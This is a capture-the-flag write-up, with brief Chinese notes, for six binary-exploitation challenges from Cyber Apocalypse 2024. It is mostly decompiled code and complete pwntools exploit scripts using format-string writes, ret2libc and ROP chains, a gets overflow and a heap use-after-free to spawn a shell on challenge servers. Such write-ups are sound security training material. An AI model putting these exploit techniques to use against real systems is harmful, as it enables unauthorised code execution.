CyberApocalypse_2024_Hacker_Royale_wp
Delulu
格式化字符串改低位两个字节就好了
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4[2]; // [rsp+0h] [rbp-40h] BYREF
__int64 buf[6]; // [rsp+10h] [rbp-30h] BYREF
buf[5] = __readfsqword(0x28u);
v4[0] = 322419390LL;
v4[1] = (__int64)v4;
memset(buf, 0, 32);
read(0, buf, 0x1FuLL);
printf("\n[!] Checking.. ");
printf((const char *)buf);
if ( v4[0] == 322420463 )
delulu();
else
error("ALERT ALERT ALERT ALERT\n");
return 0;
}
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "83.136.255.150"
PORT = 53288
elf = context.binary = ELF('./delulu')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = "%" + str(0xBEEF)+ "c%7$hn"
# ru(">>")
time.sleep(0.5)
s(payload)
p.interactive()
Writing on the Wall
过了这个cmp 就能拿到flag了,然后输入有七个字节,刚刚好能覆盖s2的低位一个字节,strcmp是根据 \x00来判断字符串结尾的,那输入 七个 \x00,cmp就能过了
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[6]; // [rsp+Ah] [rbp-16h] BYREF
char s2[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
*(_QWORD *)s2 = 0x2073736170743377LL;
read(0, buf, 7uLL);
if ( !strcmp(buf, s2) )
open_door();
else
error("You activated the alarm! Troops are coming your way, RUN!\n");
return 0;
}
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "83.136.253.78"
PORT = 37705
elf = context.binary = ELF('./writing_on_the_wall')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = b'\x00' * 7
time.sleep(1)
# g(p)
s(payload)
p.interactive()
Pet Companion
ret2libc
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[8]; // [rsp+0h] [rbp-40h] BYREF
setup(argc, argv, envp);
memset(buf, 0, sizeof(buf));
write(1, "\n[!] Set your pet companion's current status: ", 0x2EuLL);
read(0, buf, 0x100uLL);
write(1, "\n[*] Configuring...\n\n", 0x15uLL);
return 0;
}
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "94.237.55.185"
PORT = 59050
elf = context.binary = ELF('./pet_companion')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
# 0x000000000040073c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040073e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400740 : pop r14 ; pop r15 ; ret
# 0x0000000000400742 : pop r15 ; ret
# 0x0000000000400604 : pop rbp ; jmp 0x400590
# 0x000000000040057b : pop rbp ; mov edi, 0x601010 ; jmp rax
# 0x000000000040073b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040073f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400588 : pop rbp ; ret
# 0x0000000000400743 : pop rdi ; ret
# 0x0000000000400741 : pop rsi ; pop r15 ; ret
# 0x000000000040073d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x40064A
rdi = 0x400743
rsi_r15 = 0x400741
ret = 0x00000000004004de
payload = flat([
b'a' * 0x48,
rsi_r15,write_got,0,write_plt,main
])
sla("status:",payload)
ru("\n[*] Configuring...\n\n")
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['write']
success(f"libc_base ->{hex(libc_base)}")
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = flat([
b'a' * 0x48,
rdi,binsh,system
])
sla("status:",payload)
p.interactive()
Rocket Blaster XXX
里面有一个和调用约定 传参顺序相关的小游戏,过了那个小游戏拿到flag
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF
banner(argc, argv, envp);
memset(buf, 0, sizeof(buf));
fflush(_bss_start);
printf(
"\n"
"Prepare for trouble and make it double, or triple..\n"
"\n"
"You need to place the ammo in the right place to load the Rocket Blaster XXX!\n"
"\n"
">> ");
fflush(_bss_start);
read(0, buf, 0x66uLL);
puts("\nPreparing beta testing..");
return 0;
}
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "94.237.51.96"
PORT = 40975
elf = context.binary = ELF('./rocket_blaster_xxx')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
rdi = 0x000000000040159f
rsi = 0x000000000040159d
rdx = 0x000000000040159b
fill_ammo = 0x4012FA
payload = flat([
b"a" * 0x28,
rdi,0x0DEADBEEF,rsi,0x0DEADBABE,rdx,0x0DEAD1337,fill_ammo
])
# g(p)
sa(">> ",payload)
print(len(payload))
p.interactive()
sound_of_silence
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
system("clear && echo -n '~The Sound of Silence is mesmerising~\n\n>> '");
return gets(v4, argv);
}
没有输出函数,但是可以通过这一部分去利用
.text:0000000000401169 48 89 C7 mov rdi, rax ; command
.text:000000000040116C E8 DF FE FF FF call _system
gets完后rdi还是指向buf,如果buf中包含 /bin/sh的话,就会变成 system binsh,不过很奇怪,call system system里面会取buf后边部分,可能是rbp的问题
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "94.237.50.48"
PORT = 34509
elf = context.binary = ELF('./sound_of_silence')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
target = 0x401169
ret = 0x000000000040101a
payload = b'a' * 0x20 + b'/bin/sh\x00'
payload += p64(target)
# g(p)
sla(">> ",payload)
p.interactive()
deathnote
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v3; // rax
__int64 v5[12]; // [rsp+10h] [rbp-60h] BYREF
v5[11] = __readfsqword(0x28u);
memset(v5, 0, 80);
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 42 )
break;
_(v5);
}
if ( v3 > 0x2A )
{
LABEL_13:
error("Invalid choice!\n");
}
else if ( v3 == 3 )
{
show(v5);
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add(v5);
}
else
{
if ( v3 != 2 )
goto LABEL_13;
delete(v5);
}
}
}
}
delete这里存在一个uaf
unsigned __int64 __fastcall delete(__int64 a1)
{
unsigned __int8 num; // [rsp+17h] [rbp-9h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf(aPage);
num = read_num();
if ( (unsigned __int8)check_idx(num) == 1 )
{
if ( *(_QWORD *)(8LL * num + a1) )
printf("%s\nRemoving page [%d]\n\n%s", "\x1B[1;32m", num, "\x1B[1;36m");
else
error("Page is already empty!\n");
free(*(void **)(8LL * num + a1));
}
return v3 - __readfsqword(0x28u);
}
,然后存在一个backdoor函数
unsigned __int64 __fastcall _(__int64 a1)
{
void (__fastcall *v2)(_QWORD); // [rsp+18h] [rbp-18h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("\x1B[1;33m");
cls();
printf(asc_2750, "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;36m");
v2 = (void (__fastcall *)(_QWORD))strtoull(*(const char **)a1, 0LL, 16);
if ( v2 || **(_BYTE **)a1 == 48 || *(_BYTE *)(*(_QWORD *)a1 + 1LL) == 120 )
{
if ( !*(_QWORD *)a1 || !*(_QWORD *)(a1 + 8) )
{
error("What you are trying to do is unacceptable!\n");
exit(1312);
}
puts(aExecuting);
v2(*(_QWORD *)(a1 + 8));
}
else
{
puts("Error: Invalid hexadecimal string");
}
return v3 - __readfsqword(0x28u);
}
通过unsortedbin 泄露libc后,保证chunklist1中udata的位置是system的地址,2的内容是binsh,就能执行system binsh,其中有一个 0x的判断 但是strtoull(*(const char **)a1, 0LL, 16); 这里可以绕过,输入一个不包含 0x的十六进制数字字符串就好了
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "83.136.255.230"
PORT = 34980
elf = context.binary = ELF('./deathnote')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def add(idx,size,content):
sla("💀","1")
sla("💀",str(size))
sla("💀",str(idx))
sa("💀",content)
def delete(idx):
sla("💀","2")
sla("💀",str(idx))
def show(idx):
sla("💀","3")
sla("💀",str(idx))
def exit():
sla("💀","42")
p = connect()
for i in range(9):
add(i,0x80,"AAAA")
for i in range(8):
delete(i)
# unsorted bin leak libc
show(7)
ru("Page content: ")
libc_base = u64(rl()[:-1].ljust(8,b'\x00')) - (0x73947561ace0 - 0x739475400000)
# leak heap_base
show(0)
ru("Page content: ")
key = u64(rl()[:-1].ljust(8,b'\x00'))
heap_base = key << 12
success(f"libc_base ->{hex(libc_base)}")
success(f"key ->{hex(key)}")
success(f"heap_base ->{hex(heap_base)}")
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
print(str(hex(system))[2:])
payload = p64(0x68732f6e69622f)
add(0,0x80,str(hex(system))[2:])
add(1,0x80,payload)
# g(p)
exit()
p.interactive()